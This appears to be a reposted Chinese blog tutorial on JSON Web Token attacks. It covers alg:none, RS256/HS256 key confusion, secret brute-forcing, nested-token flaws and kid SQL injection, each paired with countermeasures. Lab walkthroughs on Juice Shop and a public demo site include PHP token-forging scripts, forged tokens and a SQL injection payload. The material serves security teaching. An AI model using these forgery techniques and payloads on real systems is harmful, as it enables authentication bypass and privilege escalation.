溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何深入了解Json Web Token

發(fā)布時(shí)間:2021-11-18 16:14:12 來源:億速云 閱讀:134 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章為大家展示了如何深入了解Json Web Token,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

前言

0x00 環(huán)境準(zhǔn)備

本來想用python DRF 的 JWT做,后來各種失敗。最終嘗試了用Php,發(fā)現(xiàn)非常便利。

PHP 版本 PHP 7.2.4-1+b2 (cli),也就是kali linux自帶的php,至于composer的安裝方法,以及各個(gè)庫(kù)的使用方法在此不展開,需要的話可以自己查閱官方文檔

php jwt庫(kù)的評(píng)測(cè)

在jwt.io上有些php jwt的庫(kù),在此說一下使用下來的感覺。只取了評(píng)分前三的庫(kù):

firebase/php-jwt Star 3786

支持PHP5/7;

操作非常簡(jiǎn)單,但是不具備很多功能,不是很推薦。

lcobucci/jwt Star Star 2729

支持PHP5/7;

不具備JWE的方法,操作簡(jiǎn)單;

不具備多重JWS,JWE方法以及其對(duì)應(yīng)序列化方法。

spomky-labs/jose Star 351

僅支持 PHP 7;

功能齊全,具有多重JWE,JWS,以及其對(duì)應(yīng)序列化方法。以上兩個(gè)都不具備。

0x01 JWT 攻擊手段

JWT 的攻擊手段包括以下內(nèi)容:

參考網(wǎng)站:https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//。

1. 敏感信息泄露

當(dāng)服務(wù)端的秘鑰泄密的時(shí)候,JWT的偽造就變得非常簡(jiǎn)單容易。對(duì)此,服務(wù)端應(yīng)該妥善保管好私鑰,以免被他人竊取。

2. 將加密方式改為'none'

下文實(shí)戰(zhàn)中的 Juice Shop JWT issue 1 便是這個(gè)問題。之前談及過nonsecure JWT的問題。

簽名算法確保惡意用戶在傳輸過程中不會(huì)修改JWT。但是標(biāo)題中的alg字段可以更改為none。一些JWT庫(kù)支持無算法,即沒有簽名算法。當(dāng)alg為none時(shí),后端將不執(zhí)行簽名驗(yàn)證。將alg更改為none后,從JWT中刪除簽名數(shù)據(jù)(僅標(biāo)題+'.'+ payload +'.')并將其提交給服務(wù)器。

解決對(duì)策:

不允許出現(xiàn) none 的方法;

將開啟 alg : none 作為一種額外的配置選項(xiàng)。

3.將算法RS256修改為HS256(非對(duì)稱密碼算法=>對(duì)稱密碼算法)

HS256使用密鑰來簽名和驗(yàn)證每個(gè)消息。而RS256使用私鑰對(duì)消息進(jìn)行簽名并使用公鑰進(jìn)行認(rèn)證。

如果將算法從RS256更改為HS256,則后端代碼使用公鑰作為密鑰,然后使用HS256算法驗(yàn)證簽名。由于攻擊者有時(shí)可以獲取公鑰,因此攻擊者可以將標(biāo)頭中的算法修改為HS256,然后使用RSA公鑰對(duì)數(shù)據(jù)進(jìn)行簽名。

此時(shí),后端代碼就會(huì)使用RSA公鑰+HS256算法進(jìn)行簽名驗(yàn)證,從而讓驗(yàn)證通過。

解決對(duì)策:

不允許 HS256等對(duì)稱加密 算法讀取秘鑰。jwtpy就是限制了這種方法。當(dāng)讀取到 類似于 "--- xxx key ---" 的參數(shù)的時(shí)候應(yīng)拋出錯(cuò)誤;

將秘鑰與驗(yàn)證算法相互匹配。

4. HS256(對(duì)稱加密)密鑰破解

如果HS256密鑰強(qiáng)度較弱,則可以直接強(qiáng)制使用,通過爆破 HS256的秘鑰可以完成該操作。難度比較低。解決對(duì)策很簡(jiǎn)單,使用復(fù)雜的秘鑰即可。

5. 錯(cuò)誤的堆疊加密+簽名驗(yàn)證假設(shè)

錯(cuò)誤的堆疊加密

這種攻擊發(fā)生在單個(gè)的或者嵌套的JWE中,我們想象一個(gè)JWE如下所示:

JWT RAW

    header : ...

    payload: "admin" : false

             "uid"   : 123

             "umail" : 123@126.com

             ...

JWE Main

    protected / unprotected

    recipients:

        en_key : key1

        en_key : key2

    cipher : xxx

在攻擊者不修改秘鑰的情況下,對(duì)于ciphertext進(jìn)行修改。往往會(huì)導(dǎo)致解密的失敗。但是,即使是失敗,很多JWT的解密也是會(huì)有輸出的,在沒有附加認(rèn)證數(shù)據(jù)(ADD)的情況下更是如此。攻擊者對(duì)于ciphertext的內(nèi)容進(jìn)行修改,可能會(huì)讓其他的數(shù)據(jù)無法解密,但是只要最后輸出的payload中,有“admin":true。 其目的就已經(jīng)達(dá)到了。

解決對(duì)策:

對(duì)于JWE而言,應(yīng)當(dāng)解密所有數(shù)據(jù),而非從解密的結(jié)果中提取單個(gè)需要的數(shù)據(jù)。另外,利用附加認(rèn)證數(shù)據(jù)ADD,也是非常好的選擇。

簽名假設(shè)驗(yàn)證

這種攻擊發(fā)生嵌套的JWS中。我們想象一個(gè)嵌套的JWS,其包括了兩層的部分,其結(jié)構(gòu)如下:

JWT Main

    JWT Sub1

        payload

        Signature2

    Signature

現(xiàn)在,攻擊者通過一定的方式,能夠讓外層的驗(yàn)證通過的時(shí)候,此時(shí),系統(tǒng)還應(yīng)該檢查內(nèi)層的簽名數(shù)據(jù),如果不檢查,攻擊者就可以隨意篡改payload的數(shù)據(jù),來達(dá)到越權(quán)的目的。

解決對(duì)策:

因此對(duì)于嵌套JWS而言,應(yīng)當(dāng)驗(yàn)證所有層面的簽名是否正確,而非驗(yàn)證最外層的簽名是否正確就足夠。

6. 無效橢圓曲線攻擊

橢圓曲線加密是一種非常安全的方式,甚至從某種程度上而言,比RSA更加安全。關(guān)于橢圓曲線的算法,在此不展開。

在橢圓曲線加密中,公鑰是橢圓曲線上的一個(gè)點(diǎn),而私鑰只是一個(gè)位于特殊但非常大的范圍內(nèi)的數(shù)字。 如果未驗(yàn)證對(duì)這些操作的輸入,那攻擊者就可以進(jìn)行設(shè)計(jì),從而恢復(fù)私鑰。

而這種攻擊已在過去中得到證實(shí)。這類攻擊被稱為無效曲線攻擊。這種攻擊比較復(fù)雜,也設(shè)計(jì)到很多的數(shù)學(xué)知識(shí)。詳細(xì)可以參考文檔:critical-vulnerability-uncovered-in-json-encryption。

解決對(duì)策:

檢查傳遞給任何公共函數(shù)的所有輸入是否有效是解決這類攻擊的關(guān)鍵點(diǎn)。驗(yàn)證內(nèi)容包括公鑰是所選曲線的有效橢圓曲線點(diǎn),以及私鑰位于有效值范圍內(nèi)。

7. 替換攻擊

在這種攻擊中,攻擊者需要至少獲得兩種不同的JWT,然后攻擊者可以將令牌中的一個(gè)或者兩個(gè)用在其他的地方。

在JWT中,替換共嘰有兩種方式,我們稱他們?yōu)橄嗤邮辗焦簦缭绞絁WT)和不同接收方攻擊。

不同接收方攻擊

我們可以設(shè)想一個(gè)業(yè)務(wù)邏輯如下:

Auth 機(jī)構(gòu),有著自己的私鑰,并且給 App1 和 App2 發(fā)放了兩個(gè)公鑰,用于驗(yàn)證簽名;

Attacker 利用自己的秘鑰登錄了 App1。

此時(shí) Auth 機(jī)構(gòu)給 Attacker 下發(fā)了一個(gè) 附帶簽名的JWT,其payload內(nèi)容為:

{

    'uname':'Attacker'

    'role' :'admin'

}

此時(shí),如果 Attacker 知道 App1 和 App2 的公鑰是同一個(gè)Auth 簽發(fā)的話,他可以利用這個(gè)JWT去登錄 App2,從而獲取Admin權(quán)限。

解決方法:

在jwt中帶上 aud 聲明,比如 aud : App1 這樣。來限定該jwt只能用于App1。

相同接收方攻擊/跨越式JWT same recipient/Cross JWT

我們可以設(shè)想一個(gè)業(yè)務(wù)邏輯如下:

在同一站點(diǎn)下,有兩個(gè)應(yīng)用程序,wordpress和phpmyadmin,他們都利用了相同的秘鑰對(duì)和算法來驗(yàn)證JWT簽名;

站點(diǎn)管理員知道 Different Recipient 的問題,所以給 wordpress 的應(yīng)用增加了 aud 驗(yàn)證,但是 phpmyadmin 的用戶人數(shù)較少,沒有增加 aud 的驗(yàn)證;

Attacker 利用自己的秘鑰登錄了 wordpress。

此時(shí) 站點(diǎn) 給 Attacker 下發(fā)了一個(gè) 附帶簽名的JWT,其payload內(nèi)容為:

{

    'uname':'Attacker'

    'role' :'writer'

    'aud' :'shaobaobaoer.cn/wordpress'

    'iss' :'shaobaobaoer.cn'

}

這個(gè)JWT看似非常安全,但這僅僅是對(duì)于 wordpress 的應(yīng)用程序而言,。從而Attacker 可以以 writer 的身份登錄 phpmyadmin。

解決方案:

為所有子應(yīng)用程序增加 aud 的驗(yàn)證

8. 其他假想的攻擊方式

JWT + SQL 注入

參考鏈接:https://github.com/greunion/ctf-write-ups/tree/master/2018-nullcon/web/400-web6。

當(dāng)解密JWT的秘鑰很多的時(shí)候,往往需要通過kid來確定使用哪個(gè)秘鑰,而keyid參數(shù)通過b64加密來保存,可以被篡改。當(dāng)keyid要通過數(shù)據(jù)庫(kù)API拿取得時(shí)候,往往就會(huì)聯(lián)想到sql 注入。

我們可以想象一下的攻擊情況:

$keyID = $token-> getKeyID();

$keyContent = sqlAPI -> fromKeyidGetKeyContent($keyID)

###

class sqlAPI():

    function fromKeyidGetKeyContent($keyID){

        $result= Query("select key_content from keyTable where key_id = '$keyID'");

        return $result['key_content']

    }

###

if($token-> verify($JWA,$keyContetn)){

    echo $flag;

}

在下列比較簡(jiǎn)易的代碼中,通過讓數(shù)據(jù)庫(kù)返回值為我們自定義的key_content。就可以達(dá)到破解JWT的目的。

通過注入:

' union select 'easy' limit 1,1--+

即可讓秘鑰改成easy。

0x03 實(shí)戰(zhàn)練習(xí)

實(shí)戰(zhàn)練習(xí)1 敏感信息泄露

我搜到了一個(gè)demo,在線演示地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php。

GitHub地址為:https://github.com/Sjord/jwtdemo/。

使用firebase/jwt寫的php-jwt的demo??梢杂脕硗瓿珊竺娴念}目。

為了達(dá)到修改jwt的目的,我會(huì)把data字段改為:

"data":{

    "hacker":"shaobaobaoer"

    }

該題目地址為:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256。

在知道github項(xiàng)目的情況下,我們變相知道了公鑰私鑰的地址,直接訪問:

http://demo.sjoerdlangkemper.nl/jwtdemo/private.pem

http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

可以拿到公鑰私鑰的內(nèi)容,之后,利用我們自己的jwt庫(kù)進(jìn)行加密即可。

關(guān)鍵代碼如下所示:

$keychain = new Keychain();

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$keychain->getPrivateKey('file://key_box/private.pem'))

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$keychain->getPublicKey('file://key_box/public.pem')));

可以看到,我們已經(jīng)更改成功。

如何深入了解Json Web Token

實(shí)戰(zhàn)練習(xí)2 Juice Shop JWT issue 1

juice shop 是一個(gè)OWASP 的 vulnerable WEB 項(xiàng)目,后端語(yǔ)言為node.js。

當(dāng)初我做的時(shí)候連jwt是什么都不知道,兩道jwt的題目就此跳過了,現(xiàn)在已經(jīng)掌握了這些概念,就可以拿出來回味一下。

關(guān)于juice shop 的大部分題解可以看OWASP juice shop 實(shí)戰(zhàn)報(bào)告。

題目描述

Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.

實(shí)戰(zhàn)過程

首先,先用萬能登錄,獲取到j(luò)wt 如下所示:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA4LTEyIDA3OjUzOjM4LjA2NCArMDA6MDAifSwiaWF0IjoxNTM0MDYwNTM5LCJleHAiOjE1MzQwNzg1Mzl9.Jivk7Pil6wukFkShzCCaHNq7qmxegvcyD83FkbglT0uYYP0azTW2rM-FH4R8WYneTu1A5gQmUjB6VdFJh8APz5Qej_AA4RP3Q6nH-9qbytxQ5cebiEuuhRSridDxbXxuS0-oquQ0PkRtpenJ75mLJFzVROeaBWgKFNNcFIrV9hs

放到 jwt.io中去解密??梢钥吹綌?shù)據(jù)的架構(gòu)如下所示:

如何深入了解Json Web Token

之前我們做過實(shí)驗(yàn),當(dāng)alg選擇為 none 的時(shí)候,是不用對(duì)JWT進(jìn)行簽名的,這樣的jwt也被稱為 不安全的jwt。

這道題目的思路就是修改 alg。

當(dāng)后端不限定alg的時(shí)候,這種方法就可以被利用。當(dāng)然jwt.io是不會(huì)讓你把a(bǔ)lg改成none的。你需要自己手動(dòng)改:

如何深入了解Json Web Token

對(duì)頭部稍微操作一下,得到的新token如下:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJqd3RuM2RAanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwiY3JlYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAxOC0wOC0xMiAwNzo1MzozOC4wNjQgKzAwOjAwIn0sImlhdCI6MTUzNDA2MDUzOSwiZXhwIjoxNTM0MDc4NTM5fQ

將新的jwt發(fā)送,可以解決這個(gè)題目:

如何深入了解Json Web Token

后面還有個(gè)jwt issue 2 ,我分解不了公鑰,按照官方文檔的做法也無從下手。做出來的可以交流一二。

實(shí)戰(zhàn)練習(xí)3  加密方式更改

那個(gè)網(wǎng)站的后端代碼是不能夠演示加密方式修改的攻擊方法的。那篇博客有些問題。這邊就給出個(gè)樣例。

后端的偽代碼應(yīng)該如下所示:

# sometimes called "decode"

verify(string token, string verificationKey){

    # returns payload if valid token, else throws an error

}

string token = $input

string verificationKey = file_get_content('rsa_pub.key')

后端代碼應(yīng)該會(huì)判斷jwt的加密方式,其實(shí)這種方法是比較局限的。首先對(duì)于一個(gè)優(yōu)秀的JWT的庫(kù)而言,RS256和SH256的認(rèn)證不會(huì)放在一起。另外,HMAC應(yīng)當(dāng)禁止公鑰作為secret。

例如:在pyjwt中,這種方法是被禁止的。會(huì)拋出錯(cuò)誤。

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

大概寫了個(gè)小腳本,利用了公鑰來簽名,如下所示:

$secret = file_get_contents("./key_box/public.pem");

//var_dump($secret);

$sign = new Sha256();

$token = "eyJ0eXAiO...";

$token = (new Parser())->parse((string) $token);

$hacktoken = (new  Builder())

    ->setIssuer($token->getClaim('iss'))

    ->setIssuedAt($token->getClaim('iat'))

    ->setExpiration($token->getClaim('exp'))

    ->set("data",["hack"=>"shaobaobaoer"])

    ->sign($sign,$secret)

    ->getToken();

echo $hacktoken.PHP_EOL;

var_dump($hacktoken->verify($sign,$secret));

實(shí)戰(zhàn)練習(xí)4 HMAC秘鑰爆破

參考鏈接:https://delcoding.github.io/2018/03/jwt-bypass/。

在這道題目中,訪問web,可以返回一個(gè)jwt的字符串:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM

將它解密,可以發(fā)現(xiàn),算法是HS256,admin為flase。

{

  "alg": "HS256",

  "typ": "JWT"

}

{

  "admin": "false"

}

我們的目標(biāo)很簡(jiǎn)單,只需要將admin轉(zhuǎn)成true就可以了。而此刻能夠做的只有爆破秘鑰了。你當(dāng)然可以寫一個(gè)小腳本來爆破秘鑰,這里推薦一個(gè)工具c-jwt cracker。

通過小工具,我們能迅速跑出秘鑰來,我的VPS大概用了2m跑出了秘鑰 54l7y。

如何深入了解Json Web Token

提交JWT即可得到flag。

上述內(nèi)容就是如何深入了解Json Web Token,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI